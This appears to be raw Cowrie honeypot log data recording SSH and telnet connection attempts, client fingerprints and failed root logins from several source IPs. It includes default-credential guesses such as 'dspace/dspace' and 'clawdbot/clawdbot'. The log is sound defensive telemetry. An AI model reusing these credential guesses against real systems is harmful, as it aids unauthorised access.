{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:7b:2b:a0:8c:08:76:3d:c4:38:60:4f:26:ee:f3:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjD+40O8tJIGQRgzBI8O78V8DfrqCCPzeIpVCyMDe3SRTpUinyll9LAQGdsIuY/g4ZNxliMWbhgciFKE1kVh+fxhsg+Lq1/yWHTJTul0FLDPZn0JjtWKnrLUittCzH7Wddii3c6Nb08uS+f3tax+uZUWUYYNX+VeUOaLG5JsAyOIMwcXWkVRT4MgIt1wywizow2aEUg3MfDRCxrISDKOxeQL7c9OUz78EyBhft+nQVJldmNQXoK3HCy6wHC0W2fWwUo6W42oJilJrdzc+1xPWvdvSDTsfHjotWHetvw8jM9zVmhnk9dNTCk6fWiyJI+8uKwYiWPpBpDiDZt4ekyR6R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.839646Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.404098987579346,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.849751Z","src_ip":"176.65.139.118","session":"f1f2d17a3228","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:e1:a9:c3:fa:8b:87:44:5b:4c:03:b2:aa:a3:de:0e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMPiNo5WjoGWxj00syT1Lc1Fs4IhbRsde/ry7JjommAV","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint af:e1:a9:c3:fa:8b:87:44:5b:4c:03:b2:aa:a3:de:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.916153Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:e1:a9:c3:fa:8b:87:44:5b:4c:03:b2:aa:a3:de:0e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMPiNo5WjoGWxj00syT1Lc1Fs4IhbRsde/ry7JjommAV","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.920210Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:98:70:b8:df:c6:c2:77:5f:22:01:e7:70:32:2f:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC6YzucVRoVFDUEF5FpefzyLmzC8L++Jc+cOCc4+p7BmsYBxJJEGWPvCW+agurHkSVS3eUuaFA6Z6M95PgT7c4G3awg0aUqSylTcbx1BvOYQsyBWeasTKL/58pjgLYplGTiuNpnVjYZo/8nyakow+S2SlG4Xm2A80e+cuafHCsdM0DoxSOBb4Dsj5w0oEbpxS14Fr7pP7cQShLHHd186cSXusTj2mG09P6SdLnGEAts8ewnu9SnYhdbcv0//l28aPdvHzHNnC2XlT8u1e6fgbuPJn7lvN3vqwDdl1vWYg+8+7HBKb1cbLnQc5Rb4tHxLrDadqQRhRybAZwkgyaRCJb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:98:70:b8:df:c6:c2:77:5f:22:01:e7:70:32:2f:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.995546Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:98:70:b8:df:c6:c2:77:5f:22:01:e7:70:32:2f:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC6YzucVRoVFDUEF5FpefzyLmzC8L++Jc+cOCc4+p7BmsYBxJJEGWPvCW+agurHkSVS3eUuaFA6Z6M95PgT7c4G3awg0aUqSylTcbx1BvOYQsyBWeasTKL/58pjgLYplGTiuNpnVjYZo/8nyakow+S2SlG4Xm2A80e+cuafHCsdM0DoxSOBb4Dsj5w0oEbpxS14Fr7pP7cQShLHHd186cSXusTj2mG09P6SdLnGEAts8ewnu9SnYhdbcv0//l28aPdvHzHNnC2XlT8u1e6fgbuPJn7lvN3vqwDdl1vWYg+8+7HBKb1cbLnQc5Rb4tHxLrDadqQRhRybAZwkgyaRCJb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.999800Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:d1:62:07:9c:4e:6f:a3:a0:47:15:f3:7c:99:98:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDus2hJe4PKvznS0GDXm2nyX6w1QCNYJwXvM2Hx0VFidQW8Ws3v2jepHWeDBQdkEkyGCfo1vHJkHmIusuUfGTuvTCjnmqlEhqwA2QOhhrDcSl1ofzzHqP999rynpeNEcPIWAQmhU4mtJsm68E1Nc1DaUaollMrMzk8mMfhS/mmDqbrE6p6CDRVu18rGknATwBQ6TnyxndEmcZyyC8hsxxgdFxYZqbj1nwwdu9CDkVsGnBSf2eQDEsnJhcOrRhS9sRJNhXIfx7POYmKVuTo7gFo6KhLS4sERqW2S5zRVoFaySB0Eh7yybZESvU/fug3M8Wy5NVBm0TITQLneocutzx93","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:d1:62:07:9c:4e:6f:a3:a0:47:15:f3:7c:99:98:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:55.076274Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:d1:62:07:9c:4e:6f:a3:a0:47:15:f3:7c:99:98:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDus2hJe4PKvznS0GDXm2nyX6w1QCNYJwXvM2Hx0VFidQW8Ws3v2jepHWeDBQdkEkyGCfo1vHJkHmIusuUfGTuvTCjnmqlEhqwA2QOhhrDcSl1ofzzHqP999rynpeNEcPIWAQmhU4mtJsm68E1Nc1DaUaollMrMzk8mMfhS/mmDqbrE6p6CDRVu18rGknATwBQ6TnyxndEmcZyyC8hsxxgdFxYZqbj1nwwdu9CDkVsGnBSf2eQDEsnJhcOrRhS9sRJNhXIfx7POYmKVuTo7gFo6KhLS4sERqW2S5zRVoFaySB0Eh7yybZESvU/fug3M8Wy5NVBm0TITQLneocutzx93","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:55.080341Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:55.158831Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38770,"dst_ip":"159.203.135.109","dst_port":23,"session":"4464aa8a0559","protocol":"telnet","message":"New connection: 176.65.139.118:38770 (159.203.135.109:23) [session: 4464aa8a0559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:55.191579Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39716,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e664fef7b8","protocol":"telnet","message":"New connection: 152.42.224.71:39716 (10.17.0.5:23) [session: 19e664fef7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:57.639416Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39724,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a5d80153223","protocol":"telnet","message":"New connection: 152.42.224.71:39724 (10.17.0.5:23) [session: 5a5d80153223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:58.904481Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d037eab666","protocol":"telnet","message":"New connection: 152.42.224.71:39740 (10.17.0.5:23) [session: 33d037eab666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:58.918173Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47434,"dst_ip":"159.203.135.109","dst_port":22,"session":"c03ee881d484","protocol":"ssh","message":"New connection: 31.40.204.166:47434 (159.203.135.109:22) [session: c03ee881d484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:03.888685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:03.894086Z","src_ip":"31.40.204.166","session":"c03ee881d484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:04.016529Z","src_ip":"31.40.204.166","session":"c03ee881d484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:04.608260Z","src_ip":"31.40.204.166","session":"c03ee881d484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:05.905174Z","src_ip":"31.40.204.166","session":"c03ee881d484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46212,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eafd3eef544","protocol":"telnet","message":"New connection: 152.42.224.71:46212 (10.17.0.5:23) [session: 6eafd3eef544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:06.800584Z"}
{"eventid":"cowrie.session.closed","duration":28.522435426712036,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:07.299299Z","src_ip":"152.42.224.71","session":"a978812a4ce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"67f44cc55bf4","protocol":"telnet","message":"New connection: 152.42.224.71:46214 (10.17.0.5:23) [session: 67f44cc55bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:07.593449Z"}
{"eventid":"cowrie.session.closed","duration":49.1700165271759,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:07.874814Z","src_ip":"152.42.224.71","session":"e1202497062a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46220,"dst_ip":"10.17.0.5","dst_port":23,"session":"48bd405426e3","protocol":"telnet","message":"New connection: 152.42.224.71:46220 (10.17.0.5:23) [session: 48bd405426e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:08.849078Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d5497129d9b","protocol":"telnet","message":"New connection: 152.42.224.71:46228 (10.17.0.5:23) [session: 1d5497129d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:11.154769Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46238,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dcfeb522032","protocol":"telnet","message":"New connection: 152.42.224.71:46238 (10.17.0.5:23) [session: 3dcfeb522032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:13.647117Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53218,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e56e0d4cf0","protocol":"ssh","message":"New connection: 31.40.204.166:53218 (159.203.135.109:22) [session: 71e56e0d4cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:15.532696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:15.536977Z","src_ip":"31.40.204.166","session":"71e56e0d4cf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:15.701871Z","src_ip":"31.40.204.166","session":"71e56e0d4cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:16.138885Z","src_ip":"31.40.204.166","session":"71e56e0d4cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:17.419409Z","src_ip":"31.40.204.166","session":"71e56e0d4cf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59338,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e0f561a615","protocol":"telnet","message":"New connection: 152.42.224.71:59338 (10.17.0.5:23) [session: 96e0f561a615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:17.960632Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59346,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e4d6ba9886f","protocol":"telnet","message":"New connection: 152.42.224.71:59346 (10.17.0.5:23) [session: 8e4d6ba9886f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:20.700329Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.119.22","src_port":48782,"dst_ip":"10.17.0.5","dst_port":22,"session":"cec48c220f9d","protocol":"ssh","message":"New connection: 154.16.119.22:48782 (10.17.0.5:22) [session: cec48c220f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:20.946058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:20.950470Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:20.980705Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:5f:54:19:0e:6b:d7:ff:e7:17:29:09:0a:e1:f7:34","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICSD0iR5KsfxDnzWx0YsdSqzOSnak4da4/JIJ+1o1ehk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 22:5f:54:19:0e:6b:d7:ff:e7:17:29:09:0a:e1:f7:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.099422Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:5f:54:19:0e:6b:d7:ff:e7:17:29:09:0a:e1:f7:34","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICSD0iR5KsfxDnzWx0YsdSqzOSnak4da4/JIJ+1o1ehk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.101839Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:7b:2b:a0:8c:08:76:3d:c4:38:60:4f:26:ee:f3:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjD+40O8tJIGQRgzBI8O78V8DfrqCCPzeIpVCyMDe3SRTpUinyll9LAQGdsIuY/g4ZNxliMWbhgciFKE1kVh+fxhsg+Lq1/yWHTJTul0FLDPZn0JjtWKnrLUittCzH7Wddii3c6Nb08uS+f3tax+uZUWUYYNX+VeUOaLG5JsAyOIMwcXWkVRT4MgIt1wywizow2aEUg3MfDRCxrISDKOxeQL7c9OUz78EyBhft+nQVJldmNQXoK3HCy6wHC0W2fWwUo6W42oJilJrdzc+1xPWvdvSDTsfHjotWHetvw8jM9zVmhnk9dNTCk6fWiyJI+8uKwYiWPpBpDiDZt4ekyR6R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:7b:2b:a0:8c:08:76:3d:c4:38:60:4f:26:ee:f3:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.143405Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:7b:2b:a0:8c:08:76:3d:c4:38:60:4f:26:ee:f3:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjD+40O8tJIGQRgzBI8O78V8DfrqCCPzeIpVCyMDe3SRTpUinyll9LAQGdsIuY/g4ZNxliMWbhgciFKE1kVh+fxhsg+Lq1/yWHTJTul0FLDPZn0JjtWKnrLUittCzH7Wddii3c6Nb08uS+f3tax+uZUWUYYNX+VeUOaLG5JsAyOIMwcXWkVRT4MgIt1wywizow2aEUg3MfDRCxrISDKOxeQL7c9OUz78EyBhft+nQVJldmNQXoK3HCy6wHC0W2fWwUo6W42oJilJrdzc+1xPWvdvSDTsfHjotWHetvw8jM9zVmhnk9dNTCk6fWiyJI+8uKwYiWPpBpDiDZt4ekyR6R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.146999Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:e1:a9:c3:fa:8b:87:44:5b:4c:03:b2:aa:a3:de:0e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMPiNo5WjoGWxj00syT1Lc1Fs4IhbRsde/ry7JjommAV","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint af:e1:a9:c3:fa:8b:87:44:5b:4c:03:b2:aa:a3:de:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.175251Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:e1:a9:c3:fa:8b:87:44:5b:4c:03:b2:aa:a3:de:0e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMPiNo5WjoGWxj00syT1Lc1Fs4IhbRsde/ry7JjommAV","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.178653Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:98:70:b8:df:c6:c2:77:5f:22:01:e7:70:32:2f:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC6YzucVRoVFDUEF5FpefzyLmzC8L++Jc+cOCc4+p7BmsYBxJJEGWPvCW+agurHkSVS3eUuaFA6Z6M95PgT7c4G3awg0aUqSylTcbx1BvOYQsyBWeasTKL/58pjgLYplGTiuNpnVjYZo/8nyakow+S2SlG4Xm2A80e+cuafHCsdM0DoxSOBb4Dsj5w0oEbpxS14Fr7pP7cQShLHHd186cSXusTj2mG09P6SdLnGEAts8ewnu9SnYhdbcv0//l28aPdvHzHNnC2XlT8u1e6fgbuPJn7lvN3vqwDdl1vWYg+8+7HBKb1cbLnQc5Rb4tHxLrDadqQRhRybAZwkgyaRCJb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:98:70:b8:df:c6:c2:77:5f:22:01:e7:70:32:2f:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.206894Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
